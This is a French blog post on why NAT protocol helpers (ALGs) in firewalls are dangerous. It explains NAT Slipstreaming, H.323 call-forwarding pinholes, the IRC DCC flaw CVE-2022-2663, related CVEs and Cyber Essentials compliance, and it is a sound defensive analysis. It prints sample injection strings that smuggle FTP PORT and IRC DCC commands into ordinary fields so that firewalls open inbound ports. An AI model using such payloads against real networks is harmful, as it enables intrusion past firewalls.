Les deux colonnes sont parfaitement formées. Le même assistant, le même motif, la même expectation — et nulle part dans l\u0026rsquo;image un client FTP ou IRC. Chaque vérification faite par l\u0026rsquo;assistant est satisfaite à l\u0026rsquo;identique dans les deux colonnes, parce que sur le fil il n\u0026rsquo;y a aucune différence à trouver. C\u0026rsquo;était en 2010. Il y a seize ans. Les éditeurs de navigateurs ont ajouté les ports IRC à leur liste de blocage, ce qui a fermé cette porte-là et laissé la pièce qu\u0026rsquo;elle ouvrait exactement en l\u0026rsquo;état.\nDisons la chose franchement, car elle se perd sous les noms de fournisseurs et les numéros de CVE. Les attaques n\u0026rsquo;exploitent aucun défaut des assistants. Elles utilisent les assistants correctement. Chaque paquet est bien formé et chaque vérification réussit honnêtement. La fonction fait son travail, et son travail est le problème.\nAligner les octets là où l\u0026rsquo;assistant va lire Il y avait un vrai obstacle entre NAT Pinning et quelque chose de bien pire, et la manière de le contourner est ce qu\u0026rsquo;il y a de plus malin dans tout le sujet. La plupart des assistants ne cherchent pas un motif n\u0026rsquo;importe où dans un flux : ils vérifient que le mot-clé se trouve au début de la partie données d\u0026rsquo;un paquet, ce qui est le cas d\u0026rsquo;un vrai message de protocole et jamais celui d\u0026rsquo;un corps HTTP, puisqu\u0026rsquo;un corps arrive après une pile d\u0026rsquo;en-têtes que l\u0026rsquo;attaquant ne contrôle pas. Samy cite le comportement du noyau lui-même : le gestionnaire abandonne si la méthode n\u0026rsquo;est pas au début des données2.\nL\u0026rsquo;attaquant a donc besoin que le navigateur émette un segment dont le tout premier octet est le mot-clé. Il ne peut pas écrire les en-têtes, mais il peut écrire le corps et le faire aussi long qu\u0026rsquo;il veut, ce qui transforme le problème en arithmétique.\nDéplacer la frontière de segment jusqu'à ce que le mot-clé tombe là où l'assistant lit L'assistant lit le premier octet d'un segment. L'attaquant déplace donc les coupures. Tel que le navigateur l'enverrait segment 1 POST / HTTP/1.1 Host: ... segment 2 ...en-têtes... PORT 192,168,... segment 3 ...1,29,4,0 remplissage Le mot-clé est au milieu du segment deux : l'assistant passe dessus et ne fait rien. Après que l'attaquant fixe la taille de segment, ou n'acquitte qu'une partie du flux segment 1 POST / HTTP/1.1 Host: ... segment 2 ...en-têtes et remplissage... segment 3 PORT 192,168,1,29,4,0 Le mot-clé est maintenant le premier octet d'un segment. L'assistant le lit et ouvre le port. Les deux leviers, et aucun n'est une attaque contre TCP. Le serveur de l'attaquant est un bout de la connexion : il annonce la taille maximale de segment que la pile de la victime utilisera, et décide quelle part du flux acquitter. Acquittez-en une partie et la victime retransmet à partir du décalage choisi. Les deux sont du TCP ordinaire et conforme, employé tout à fait délibérément. Pourquoi le remplissage compte. L\u0026rsquo;assistant ne lit un mot-clé de protocole que s\u0026rsquo;il est le premier octet d\u0026rsquo;un segment ; un attaquant qui ne contrôle que le corps d\u0026rsquo;une requête doit donc déplacer la frontière de segment jusqu\u0026rsquo;à ce qu\u0026rsquo;elle tombe là. Les deux leviers sont du TCP tout à fait ordinaire, employé délibérément. Le navigateur envoie une grande requête avec un délimiteur reconnaissable enfoui dans le corps ; le serveur de l\u0026rsquo;attaquant l\u0026rsquo;écoute, mesure combien d\u0026rsquo;octets d\u0026rsquo;en-têtes sont venus avant, et connaît dès lors le décalage. Il annonce ensuite une taille de segment qui place l\u0026rsquo;octet voulu sur une frontière, ou envoie un acquittement partiel pour que la victime retransmette exactement à partir de là — et Armis ajoute que la fenêtre TCP peut elle aussi être fabriquée dans ces acquittements, « in order to fully control how the TCP stream is to be segmented »3. C\u0026rsquo;est là toute l\u0026rsquo;astuce, et elle n\u0026rsquo;utilise rien d\u0026rsquo;autre que l\u0026rsquo;extrémité distante d\u0026rsquo;une connexion ouverte par le propre navigateur de la victime.\nUne fois qu\u0026rsquo;on a cela, le navigateur est un générateur de paquets polyvalent pointé vers l\u0026rsquo;intérieur de votre pare-feu. Pas parfait, puisqu\u0026rsquo;il ne peut pas fixer d\u0026rsquo;en-têtes arbitraires ni choisir des protocoles arbitraires, mais il n\u0026rsquo;a jamais eu besoin de l\u0026rsquo;être. Il lui suffit de placer les trente bons octets au début d\u0026rsquo;un segment.\nLe travail de 2021 a sauté l\u0026rsquo;essentiel de l\u0026rsquo;arithmétique. Une connexion de relais du navigateur en TCP transporte un champ nom d\u0026rsquo;utilisateur contrôlé par l\u0026rsquo;attaquant, envoyé tôt, acceptant sauts de ligne et octets nuls tant que le résultat est du texte valide — Armis a montré une capture où ce champ est la chaîne \\r\\nPORT 192,168,1,29,4,0\\r\\n, avec un acquittement partiel qui fait retransmettre la victime exactement à partir du PORT3. Pire, ce chemin ne consultait pas du tout la liste de ports bloqués du navigateur, si bien que la seule mesure que le secteur avait livrée deux fois était simplement contournée.\nNAT Slipstreaming, de bout en bout Assemblez les morceaux et voici l\u0026rsquo;attaque entière, dans l\u0026rsquo;ordre.\nDu clic à la connexion entrante en six étapes, dont aucune n'est une vulnérabilité Six étapes. Quatre sont du web et du TCP ordinaires. Une est votre pare-feu. Une est l'attaquant. 1 La victime ouvre une page Une publicité, un lien dans un message, peu importe. C'est toute la participation de la personne. web ordinaire 2 La page apprend l'adresse interne Livrée par l'interface média du navigateur, ou cernée en chronométrant les passerelles courantes. web ordinaire 3 L'attaquant mesure le chemin Une requête surdimensionnée avec un marqueur, et une capture au bout distant pour voir où tombent les coupures. TCP ordinaire 4 La page envoie la vraie charge utile Rembourrée pour que le mot-clé tombe sur une frontière de segment, comme le montre le schéma précédent. TCP ordinaire 5 Votre pare-feu ouvre le port L'assistant reconnaît le message, y réécrit l'adresse, et inscrit l'attente. votre pare-feu 6 L'attaquant se connecte en entrée Vers votre adresse publique, sur le port traduit. L'attente correspond et le pare-feu transmet à l'intérieur. votre pare-feu Comptez les vulnérabilités exploitées sur la machine de la victime. Il n'y en a aucune. Le navigateur était à jour. Le système aussi. Rien n'a été installé et aucun identifiant n'a servi. Quelques secondes, un clic, et le seul composant qui aurait pu refuser était celui bâti pour refuser. La chaîne complète, du clic à la connexion entrante. Les étapes une à quatre sont du comportement web et TCP ordinaire. L\u0026rsquo;étape cinq est la fonction de pare-feu travaillant exactement comme documenté. Le seul composant qui aurait pu refuser est celui dont le refus est la raison d\u0026rsquo;être. Temps total écoulé : quelques secondes. Interaction utilisateur totale : un clic. Vulnérabilités exploitées sur la machine de la victime : aucune.\nLe calendrier de divulgation est une preuve à lui seul. Samy a publié le 31 octobre 2020, Armis l\u0026rsquo;a contacté trois jours plus tard, et la divulgation coordonnée auprès des éditeurs de navigateurs a commencé le 11 novembre. Chrome a livré une mesure le 6 janvier 2021, Edge le lendemain, Safari en bêta le 14 et en version stable le 1er février, Firefox le 263 — suivis sous CVE-2020-16043, CVE-2021-23961 et CVE-2021-1799.\nQuatre éditeurs de navigateurs ont livré des correctifs d\u0026rsquo;urgence pour une fonction de pare-feu. Armis explique pourquoi dans ses propres mots : « While the underlying issue of this attack is the way NATs are implemented (in various ways in routers and firewalls, throughout numerous vendors and applications), the easiest and fastest way to mitigate was through a patch to browsers »3.\nCe n\u0026rsquo;est pas un correctif. Ce sont quatre autres secteurs qui empilent des sacs de sable devant la porte de quelqu\u0026rsquo;un d\u0026rsquo;autre, parce que la porte elle-même n\u0026rsquo;allait jamais être remplacée.\nLe renvoi d\u0026rsquo;appel H.323 vise n\u0026rsquo;importe quoi sur votre réseau La plupart des assistants bornent les dégâts sans le vouloir. L\u0026rsquo;assistant FTP épingle la destination de l\u0026rsquo;expectation au client qui l\u0026rsquo;a créée, si bien que le pire qu\u0026rsquo;obtienne un attaquant est un port sur la machine qui a cliqué, ce qui est grave mais survivable.\nH.323 est catastrophique, et la raison est une fonction de téléphonie.\nUn système téléphonique doit gérer le renvoi d\u0026rsquo;appel, et un appel renvoyé est par définition un appel vers quelqu\u0026rsquo;un qui n\u0026rsquo;est pas en ligne. La signalisation doit donc nommer un troisième point d\u0026rsquo;extrémité, et l\u0026rsquo;assistant doit ouvrir un chemin vers lui, sinon le renvoi ne fonctionne pas du tout à travers un NAT. Toute implémentation sérieuse le fait, et l\u0026rsquo;assistant netfilter documente explicitement ce comportement, schéma à l\u0026rsquo;appui, sur le site netfilter13. Armis a lu le code et a énoncé la conséquence en une phrase : « a single H.323 packet sent over TCP port 1720 that initiates call forwarding can open a pinhole (named an expectation in the conntrack subsystem) to any TCP port of any internal IP on the network »3.\nFixé à un hôte, ou braqué sur n'importe quoi du réseau La plupart n'atteignent que la machine qui a cliqué. L'un d'eux ne peut pas être borné. FTP, SIP, IRC H.323, avec renvoi d'appel L'attente dit dst = l'hôte dont la connexion l'a créée L'attente dit dst = l'adresse nommée par la charge utile la machine qui a cliqué 192.168.1.29 l'imprimante port 9100 la caméra mot de passe par défaut l'automate aucune authentification Portée des dégâts Une machine. Tous ses ports, tant que la règle vit, ce qui est déjà grave mais survivable. L'appareil est géré, à jour, et fait tourner quelque chose qui journalise. Portée des dégâts Chaque adresse du réseau, un message chacune. Parcourir la plage, lire les bannières, choisir une cible. Aucun de ces appareils n'a fait de requête ni ouvert de navigateur. Le renvoi d'appel fait toute la différence, et c'est une fonction, pas un défaut. Un appel renvoyé vise quelqu'un qui n'est pas en ligne : la signalisation nomme un tiers et l'assistant obtempère. Pourquoi un assistant est dans une catégorie à part. Épinglez l\u0026rsquo;expectation à l\u0026rsquo;hôte qui l\u0026rsquo;a créée et l\u0026rsquo;attaquant atteint une machine. Laissez le renvoi d\u0026rsquo;appel nommer un tiers, comme le protocole l\u0026rsquo;exige, et l\u0026rsquo;attaquant parcourt au contraire toute votre plage d\u0026rsquo;adresses. N\u0026rsquo;importe quel port TCP. N\u0026rsquo;importe quelle adresse interne. À partir d\u0026rsquo;un seul paquet, que l\u0026rsquo;attaquant a fait émettre par un navigateur.\nL\u0026rsquo;attaque cesse donc de concerner la machine de la victime et devient un balayage de ports de votre réseau interne mené depuis internet, les résultats étant relus sur des connexions que votre propre pare-feu autorise. Les équipements qu\u0026rsquo;elle trouve sont l\u0026rsquo;essentiel, car ils ne sont pas corrigés, souvent pas corrigeables, et tout le modèle de sécurité de la plupart d\u0026rsquo;entre eux tient dans c\u0026rsquo;est à l\u0026rsquo;intérieur. Armis a mis un chiffre sur cette hypothèse : un an après publication, 97 % des automates industriels vulnérables à une série de failles critiques n\u0026rsquo;étaient toujours pas corrigés3. Personne ne soutient que ce chiffre soit bon. C\u0026rsquo;est la réalité que « c\u0026rsquo;est à l\u0026rsquo;intérieur » soutient.\nH.323 est donc la première chose à traiter, sur toutes les plateformes, parce que c\u0026rsquo;est la seule qui porte au-delà de la victime — et c\u0026rsquo;est aussi celle que presque plus personne n\u0026rsquo;utilise, ce qui en fait l\u0026rsquo;amélioration de sécurité la moins coûteuse de ce billet. Coupez-la. Personne ne vous appellera.\nL\u0026rsquo;assistant peut être déclenché par un message que vous n\u0026rsquo;avez pas envoyé Une variante mérite sa propre section, parce qu\u0026rsquo;elle casse l\u0026rsquo;hypothèse à laquelle on se raccroche quand on cherche une raison de ne rien faire : d\u0026rsquo;accord, mais le déclencheur doit venir de l\u0026rsquo;intérieur, donc contrôlez les navigateurs et vous contrôlez le problème.\nNon.\nEn juillet 2022, David Leadbeater a trouvé deux défauts dans l\u0026rsquo;assistant IRC de Linux14. Le module cherche la chaîne \\1DCC n\u0026rsquo;importe où dans le flux au lieu de vérifier qu\u0026rsquo;elle est au bon endroit dans un message correctement encadré, et sa vérification d\u0026rsquo;adresse compare à l\u0026rsquo;adresse du serveur de discussion plutôt qu\u0026rsquo;à celle de l\u0026rsquo;hôte derrière le traducteur, si bien que l\u0026rsquo;adresse publiquement connue d\u0026rsquo;un serveur public suffit. Mettez cela ensemble et un attaquant envoie au client de la victime un ping de client à client — chose parfaitement ordinaire à recevoir de n\u0026rsquo;importe quel autre utilisateur — avec une demande de transfert direct dedans :\nPRIVMSG ExampleUser :^APING ^ADCC CHAT x 3325256705 22^A Selon les règles du protocole, le client répond à un ping en renvoyant la charge utile en écho, si bien que le client de la victime envoie consciencieusement cette chaîne vers l\u0026rsquo;extérieur, et l\u0026rsquo;assistant, qui surveille le flux sortant, y trouve DCC et ouvre le port.\nUn port ouvert par un message que la victime n'a jamais rédigé Personne à l'intérieur n'a cliqué. Le client de la victime a émis le déclencheur, sur demande. Le client de la victime 192.168.1.29 Pare-feu + assistant IRC lit le flux Un inconnu n'importe quel autre utilisateur 1\u0026#160;\u0026#160;un ping ordinaire, avec une demande de discussion directe cachée dedans PRIVMSG ExampleUser :^APING ^ADCC CHAT x 3325256705 22^A 2\u0026#160;\u0026#160;le protocole dit de répondre au ping en renvoyant la charge, donc il le fait 3\u0026#160;\u0026#160;les deux vérifications de l'assistant passent, et aucune n'aurait dû il cherche le mot-clé n'importe où dans le flux, pas au début d'un message encadré il valide l'adresse contre le serveur de discussion, pas contre l'hôte derrière le traducteur 4\u0026#160;\u0026#160;l'attente existe, et le port 22 est ouvert en entrée vers la victime Tout dans cette séquence a suivi sa spécification. L'inconnu a envoyé un message licite. Le client a répondu comme l'exige le protocole. L'assistant a reconnu le motif pour lequel il a été écrit. Personne n'a rien décidé, et aucun journal ne paraîtra le moins du monde étrange. Le déclencheur n\u0026rsquo;a pas à venir de quelqu\u0026rsquo;un en qui vous avez confiance, ni d\u0026rsquo;un navigateur, ni de quoi que ce soit qu\u0026rsquo;un utilisateur ait fait exprès. Chaque logiciel de cette image a suivi sa spécification à la lettre, et le résultat est un port ouvert et rien d\u0026rsquo;anormal dans le moindre journal. Personne à l\u0026rsquo;intérieur n\u0026rsquo;a rien fait de mal et personne n\u0026rsquo;a cliqué. Le client a suivi la spécification, et la spécification et l\u0026rsquo;assistant ont produit ensemble un trou entrant vers le port 22 d\u0026rsquo;une machine du réseau. C\u0026rsquo;est devenu la CVE-2022-2663, et la description de la base nationale des vulnérabilités est admirablement claire : « A firewall may be able to be bypassed when users are using unencrypted IRC with nf_conntrack_irc configured »15.\nNotez le mot unencrypted. Retenez-le aussi.\nLa recommandation de l\u0026rsquo;auteur est exactement là où le reste de ce billet arrive par un autre chemin : « Potentially entirely deprecate and remove nf_conntrack_irc, it\u0026rsquo;s unclear it has much use anymore »14.\nLes analyseurs sont l\u0026rsquo;autre moitié Jusqu\u0026rsquo;ici il s\u0026rsquo;agissait d\u0026rsquo;assistants fonctionnant correctement. Il y a un second problème, distinct : ce sont des analyseurs de protocole écrits en C, tournant dans le chemin rapide d\u0026rsquo;un équipement de sécurité, sur des données fournies par des inconnus, et ils ont le taux de bogues qu\u0026rsquo;on attend de cette description. Et ce n\u0026rsquo;est ni un problème Linux ni un problème de routeur bon marché : cela apparaît chez tous les fournisseurs, dans le code qu\u0026rsquo;ils facturent le plus cher.\nCVE Composant Ce que fait un paquet fabriqué CVE-2018-0051 Junos SIP ALG Fait planter le démon de flux sur SRX et MX ; note aussi que SIP ALG est actif par défaut sauf sur les modèles haut de gamme CVE-2018-15454 Inspection SIP Cisco ASA / FTD Redémarre l\u0026rsquo;équipement ou sature le processeur CVE-2022-2663 Linux nf_conntrack_irc Ouvre des ports à travers le pare-feu, comme ci-dessus CVE-2023-22412 Junos SIP ALG Des « specific SIP messages » font planter le démon de flux, de façon reproductible CVE-2023-22415 Junos H.323 ALG Écriture hors limites à partir de « specific H.323 packets » CVE-2024-21616 Junos SIP ALG Un paquet SIP épuise le pool NAT, le trafic légitime cesse d\u0026rsquo;être traduit CVE-2024-26851 Linux nf_conntrack_h323 Décalage de bits hors plage au décodage du bitmap H.323 CVE-2024-39551 Junos H.323 ALG Mémoire épuisée par des « specific packets » jusqu\u0026rsquo;à l\u0026rsquo;arrêt du trafic Chacune est atteignable depuis le réseau sans aucune authentification, par quiconque peut faire parvenir un paquet à l\u0026rsquo;interface externe, c\u0026rsquo;est-à-dire tout le monde. Et lisez les formulations : specific SIP messages, specific H.323 packets, a specific SIP packet. Ce n\u0026rsquo;est pas un protocole qui cède sous la charge. C\u0026rsquo;est quelqu\u0026rsquo;un qui fabrique un paquet exprès.\nArrêtez-vous un instant sur le cas Cisco. La CVE-2018-15454 a été publiée le 31 octobre 2018 avec une gravité de 8,6, elle était exploitée dans la nature, et l\u0026rsquo;avis disait que la mise à jour logicielle n\u0026rsquo;était pas encore disponible16. La mesure de Cisco, dans son propre avis, est no inspect sip. La réponse du fournisseur à une faille activement exploitée dans la fonction a donc été de couper la fonction — ce qui pose la question sur laquelle repose le reste de ce billet. Si la couper est une réponse acceptable pendant un incident, sur quelle base est-elle active le reste du temps ?\nUn assistant ne fonctionne que si vous ne chiffrez pas C\u0026rsquo;est la partie qui devrait clore le débat à elle seule, et c\u0026rsquo;est celle qui retient le moins l\u0026rsquo;attention. Un assistant de protocole lit votre charge utile et ne peut pas en lire une chiffrée. Un assistant ne fait donc absolument rien sinon sur du trafic que vous avez choisi de laisser en clair, et garder l\u0026rsquo;assistant opérationnel signifie garder ce trafic en clair.\nTous les protocoles de la liste disposent d\u0026rsquo;un mode chiffré depuis bien plus de dix ans. FTP a TLS depuis 200517 ; activez-le et les échanges PORT et PASV sont invisibles, l\u0026rsquo;assistant ne fait rien. SIP a TLS depuis la spécification de base, avec les médias chiffrés à côté. H.323 a sa propre annexe de sécurité. La discussion a TLS depuis très longtemps, et le conseil officiel pour la CVE-2022-2663 était, mot pour mot, de l\u0026rsquo;utiliser afin que l\u0026rsquo;assistant ne voie pas vos demandes de transfert15.\nL'assistant a besoin du clair : garder l'assistant, c'est garder le clair Vous pouvez avoir le chiffrement ou l'assistant. Il n'y a pas de troisième colonne. Canal de contrôle chiffré Assistant qui fonctionne Ce que voit l'assistant 17 03 03 01 a4 9c 2f e1 8b 44 d0 ... chiffré Pas de mot-clé. Pas d'adresse. Pas de port. Rien à reconnaître. Ce que voit l'assistant REGISTER sip:example ... Contact: 192.168.1.29:5060 Et tout autre équipement entre vous et eux le voit aussi. Ce que cela vous coûte L'assistant ne fait rien, donc les extrémités doivent résoudre elles-mêmes leur traduction \u0026#8212; ce que chacun de ces protocoles sait faire depuis dix ans. Ce que cela vous coûte Identifiants d'enregistrement, qui a appelé qui, et chaque adresse interne, en clair, sur chaque réseau entre les deux bouts. Dont aucun ne vous appartient. Voilà depuis quand le mode chiffré existe FTP sur TLS depuis 2005\u0026#160;\u0026#160;\u0026#183;\u0026#160;\u0026#160;SIP sur TLS avec médias chiffrés depuis la norme de base\u0026#160;\u0026#160;\u0026#183;\u0026#160;\u0026#160;chat sur TLS depuis des décennies\u0026#160;\u0026#160;\u0026#183;\u0026#160;\u0026#160;H.323 a sa propre annexe de sécurité La version honnête de « il nous faut l'assistant SIP » est une phrase que personne ne dit tout haut. La voici : notre signalisation doit traverser en clair des réseaux non fiables, pour qu'un boîtier étranger la réécrive. Le marché que personne n\u0026rsquo;écrit. Un assistant ne travaille que sur une charge utile qu\u0026rsquo;il peut lire, les deux colonnes s\u0026rsquo;excluent donc mutuellement. Celle de droite est ce qu\u0026rsquo;un SIP ALG opérationnel vous demande réellement d\u0026rsquo;accepter. La formulation honnête de « il nous faut le SIP ALG » est donc : il nous faut que notre signalisation d\u0026rsquo;appel traverse des réseaux non fiables en clair, afin qu\u0026rsquo;une middlebox que nous ne contrôlons pas puisse la réécrire. Dites-le ainsi en revue de conception et regardez jusqu\u0026rsquo;où cela va.\nIl y a une version plus tranchante, et c\u0026rsquo;est pourquoi l\u0026rsquo;affaire n\u0026rsquo;est pas serrée. Laisser un assistant actif est une incitation permanente contre le chiffrement : le jour où quelqu\u0026rsquo;un active SIP sur TLS, les appels cassent et l\u0026rsquo;assistant en est la cause, donc le changement est annulé et le clair reste une année de plus. Demandez à quiconque a essayé derrière un pare-feu grand public comment cela s\u0026rsquo;est passé.\nTous les autres protocoles d\u0026rsquo;internet sont allés dans l\u0026rsquo;autre sens : trafic web chiffré par défaut, DNS chiffré, transport de courrier chiffré, QUIC chiffrant jusqu\u0026rsquo;à l\u0026rsquo;en-tête de transport précisément pour que les middleboxes ne puissent ni le lire ni le modifier. L\u0026rsquo;ère de la middlebox s\u0026rsquo;est terminée sur l\u0026rsquo;internet ouvert il y a des années, et les derniers endroits qui comptent encore sur un équipement du chemin lisant la charge utile sont ceux où quelqu\u0026rsquo;un a laissé un assistant actif.\nIPsec, le cas où l\u0026rsquo;assistant ne peut rien lire du tout Ce qui pose la question évidente du protocole qui n\u0026rsquo;est que chiffrement. La réponse est pire que vous ne l\u0026rsquo;imagineriez.\nESP n\u0026rsquo;a pas de numéros de port, étant un protocole IP à part entière et non quelque chose transporté sur UDP, et un traducteur démultiplexe le trafic de retour par port. Avec deux clients derrière une même adresse publique visant la même passerelle, rien ne permet donc de distinguer leurs paquets entrants. RFC 3715 l\u0026rsquo;a consigné en mars 2004 : un NAT ne peut pas apprendre la correspondance par inspection, et « it is possible that the NAT will deliver the incoming IPsec packets to the wrong destination »18.\nLes constructeurs ont donc bâti un assistant. Il observe l\u0026rsquo;échange IKE sur UDP 500, dont les premiers paquets sont en clair, récolte les cookies et l\u0026rsquo;index des paramètres de sécurité, et ouvre une porte pour que l\u0026rsquo;ESP entrant portant cette valeur atteigne le bon hôte à l\u0026rsquo;intérieur. Juniper le décrit le plus simplement : « When ESP traffic hits the IKE ALG gates, sessions are created to capture subsequent ESP traffic »19. L\u0026rsquo;inspect ipsec-pass-thru de Cisco fait de même pour ESP et AH « associated with an IKE UDP port 500 connection », avec une table par défaut qui ne fixe aucune limite au nombre de connexions ESP par client20.\nMême objet, même autorité, sauf qu\u0026rsquo;ici l\u0026rsquo;assistant ne fait même pas correspondre un mot-clé. Il ne peut pas analyser ESP, puisque ESP est justement la partie chiffrée ; il aiguille des paquets d\u0026rsquo;après un nombre de 32 bits qu\u0026rsquo;il a vu passer en clair. La section de RFC 3715 qui traite de cela s\u0026rsquo;intitule, sans ironie, « Helper Incompatibilities », et consigne que le démultiplexage par cookie « results in problems with re-keying » et que les équipements analysant les charges utiles ISAKMP « may not handle all payload ordering combinations »18. Une supposition tenant lieu de règle, et un analyseur fait maison dans le chemin des paquets, écrit noir sur blanc il y a vingt-deux ans.\nLe correctif est arrivé dix mois plus tard, dans le protocole, là où il doit être : RFC 3947 fait détecter un traducteur aux deux extrémités pendant l\u0026rsquo;échange de clés, et RFC 3948 encapsule ESP dans de l\u0026rsquo;UDP sur le port 4500 pour qu\u0026rsquo;il y ait de nouveau des ports21. Juniper dit alors tout haut ce qu\u0026rsquo;il faut : « IKE NAT-T traffic on floating port 4500 is not processed in an IKE ALG »19. Faites-le correctement et l\u0026rsquo;assistant est entièrement contourné — la même phrase que pour le FTP passif et pour ICE.\nLe noyau Linux amont n\u0026rsquo;a jamais pris celui-là. Il n\u0026rsquo;y a pas de module ESP parmi les protocoles de conntrack, et un correctif de 2021 ajoutant un suivi fondé sur le SPI est passé en revue sur la liste netfilter sans jamais être intégré22. Les constructeurs qui l\u0026rsquo;embarquent l\u0026rsquo;embarquent hors arbre, sur les équipements les moins susceptibles d\u0026rsquo;être mis à jour un jour.\nCela fait échouer Cyber Essentials, ligne par ligne Jusqu\u0026rsquo;ici c\u0026rsquo;était un argument de sécurité. Pour quiconque se certifie au Royaume-Uni, c\u0026rsquo;est aussi un argument de conformité, et aucune interprétation habile n\u0026rsquo;est en jeu : ce sont trois puces contre trois puces. Cyber Essentials est le dispositif soutenu par le gouvernement britannique et délivré via IASME, sa première exigence technique porte sur les pare-feux, et le document d\u0026rsquo;exigences en vigueur est la version 3.3, avril 2026. Voici ce qu\u0026rsquo;il vous impose, mot pour mot23 :\nblock unauthenticated inbound connections by default ensure inbound firewall rules are approved and documented by an authorised person, and include the business need in the documentation remove or disable unnecessary firewall rules, when they are no longer needed Placez maintenant un assistant de protocole en face de chacune.\nTrois exigences de pare-feu, et ce qu'un assistant fait de chacune Cyber Essentials, mesure un, pare-feux. Trois obligations, et la réponse d'un assistant à chacune. Ce que dit le document d'exigences Ce que fait un assistant de protocole Résultat \"block unauthenticated inbound connections by default\" La première obligation, et la raison d'être de la mesure. En autorise une sur la foi d'une chaîne dans un paquet. Celui qui a fourni la chaîne ne s'est authentifié auprès de rien du tout. échec \"ensure inbound firewall rules are approved and documented by an authorised person, and include the business need\" Écrite à la vitesse du fil par un module noyau. Personne ne l'a approuvée ni vue, aucun document, aucun besoin métier consigné. échec \"remove or disable unnecessary firewall rules, when they are no longer needed\" Ce qui suppose que quelqu'un a décidé qu'elles servaient. Supprimées par un minuteur. Un minuteur n'est pas une revue, et personne n’a jamais évalué si la règle était nécessaire au départ. échec C'est la première des cinq mesures techniques, pas un cas limite de la cinquième. Elle vaut, selon les mots du programme, pour les pare-feux de périmètre, les postes, portables, routeurs et serveurs. Les trois exigences pare-feu des contrôles techniques de Cyber Essentials, et ce qu\u0026rsquo;un assistant de protocole en fait. Trois exigences, trois échecs, sur le premier des cinq contrôles. Une expectation existe précisément pour autoriser une connexion entrante qui serait autrement bloquée, et la partie dont les données l\u0026rsquo;ont provoquée ne s\u0026rsquo;est authentifiée auprès de rien : la première puce échoue donc d\u0026rsquo;emblée. La règle a été écrite à la vitesse du fil par un module noyau, il n\u0026rsquo;y a donc aucun document, aucun besoin métier consigné et aucune personne autorisée nulle part dans la chaîne — demandez à un auditeur la trace d\u0026rsquo;approbation de la règle qui a laissé une connexion atteindre le port 9100 de votre imprimante et vous n\u0026rsquo;en avez pas et ne pouvez pas en produire, parce qu\u0026rsquo;elle a existé quatre-vingt-dix secondes il y a dix-huit mois. Et les règles d\u0026rsquo;un assistant sont retirées par un minuteur, qui n\u0026rsquo;est pas une revue.\nTrois exigences, trois échecs, sur le premier contrôle des cinq, qui s\u0026rsquo;applique selon les mots du dispositif aux « boundary firewalls, desktop computers, laptops, routers, servers »23, c\u0026rsquo;est-à-dire à tout ce que vous possédez.\nSoyez juste sur ce que cela signifie, car je ne suis pas l\u0026rsquo;organisme de certification. Un évaluateur travaille à partir du questionnaire et des preuves que vous lui donnez, et ce questionnaire demande si vous bloquez par défaut les connexions entrantes non authentifiées et si vos règles entrantes sont documentées et approuvées. Répondez oui avec un assistant actif sur votre frontière et la réponse est fausse. Vous passerez sans doute quand même. Passer et se conformer ne sont pas la même chose, et l\u0026rsquo;écart se voit après un incident plutôt qu\u0026rsquo;avant.\nCyber Essentials n\u0026rsquo;est pas non plus inhabituel dans ce qu\u0026rsquo;il demande, seulement inhabituellement clair. Une norme du secteur des cartes, un dispositif d\u0026rsquo;assurance gouvernemental, le questionnaire d\u0026rsquo;un client et le formulaire de votre assureur posent tous la même chose dans une autre langue : savez-vous ce que votre pare-feu autorise en entrée, et quelqu\u0026rsquo;un l\u0026rsquo;a-t-il décidé ? C\u0026rsquo;est donc la section à porter à qui signe le certificat. Pas les attaques ni les CVE. Trois puces, et la réponse honnête à chacune.\nLe secteur a tranché cela il y a vingt ans Rien de tout cela n\u0026rsquo;est nouveau et rien n\u0026rsquo;est contesté. Ce qui est remarquable, c\u0026rsquo;est depuis combien de temps la décision est prise pendant que les valeurs par défaut continuaient imperturbablement.\nVingt-cinq ans du même constat, et la seule ligne qui n'apparaît jamais La conclusion était tirée en 2007. Les réglages par défaut n'ont pas bougé. Quand Ce qui s'est passé Qui pouvait agir janv. 2001 RFC 3027 catalogue tous les protocoles que NAT casse, et ce qu’un ALG doit faire pour chacun organisme de normalisation févr. 2002 RFC 3234 qualifie le mécanisme de « a deliberate layer violation » et alerte sur les points d'attaque organisme de normalisation janv. 2007 RFC 4787, une Best Current Practice : les ALG NAT des protocoles UDP DEVRAIENT être désactivés organisme de normalisation janv. 2010 NAT Pinning : un formulaire caché ouvre un port entrant sur la machine du visiteur un chercheur 2012 netfilter gagne un rattachement explicite et un interrupteur pour stopper l'affectation automatique le noyau avr. 2016 Linux change le défaut : les assistants ne font rien sans règle explicite. Livré en 4.7 le noyau oct. 2020 NAT Slipstreaming, puis la variante de janvier 2021 qui atteint tous les appareils du réseau des chercheurs nov. 2020 Quatre éditeurs livrent des mesures ; le standard web gagne une liste de ports interdits les navigateurs août 2022 L'assistant IRC se déclenche sur un message que la victime n'a jamais rédigé un chercheur 2023\u0026#8211;24 Quatre autres failles d'ALG dans la gamme phare de pare-feux d'un même éditeur des chercheurs Lisez la colonne « qui pouvait agir » et voyez qui n’y figure jamais. En vingt-cinq ans, pas une ligne n'est un fabricant de pare-feux poussant une mise à jour qui désactive la fonction sur du matériel déjà déployé. L'organisme a demandé, le noyau a changé en amont, et aucun n'a atteint les boîtiers. Vingt-cinq ans de la même conclusion, tirée à répétition par des gens qui ne pouvaient pas réparer ce qui avait besoin de l\u0026rsquo;être. La ligne qui n\u0026rsquo;apparaît jamais, c\u0026rsquo;est un fabricant de pare-feu coupant la fonction sur du matériel déjà déployé. Le RFC 3027 a catalogué en janvier 2001 tous les protocoles que le NAT casse24. Le RFC 3234 a rangé les ALG dans la taxonomie des middleboxes un an plus tard, a qualifié le mécanisme de « a deliberate layer violation » et a été direct sur le coût d\u0026rsquo;ajouter des boîtes dans un chemin : cela « creates extra points of attack, reduces or eliminates the ability to perform end to end encryption, and complicates trust models »10. Puis, en janvier 2007, le RFC 4787 — une Best Current Practice et non une suggestion — a fixé comment un NAT doit se comporter, et l\u0026rsquo;exigence dix disait ceci :\nREQ-10: To eliminate interference with UNSAF NAT traversal mechanisms and allow integrity protection of UDP communications, NAT ALGs for UDP-based protocols SHOULD be turned off.4\nCoupés. Il y a dix-neuf ans, avec la raison donnée : les assistants gênent les mécanismes qui fonctionnent vraiment, et ils vous empêchent de protéger l\u0026rsquo;intégrité de votre propre trafic. La même section note, avec lassitude, que certains produits ont des ALG « turned on permanently »4.\nTrois ans plus tard, NAT Pinning montrait une page web ouvrant un port1. Netfilter a répondu en 2012 par un mécanisme pour le faire délibérément plutôt qu\u0026rsquo;automatiquement — la cible CT, qui rattache un assistant à un flux nommé par une règle explicite, et 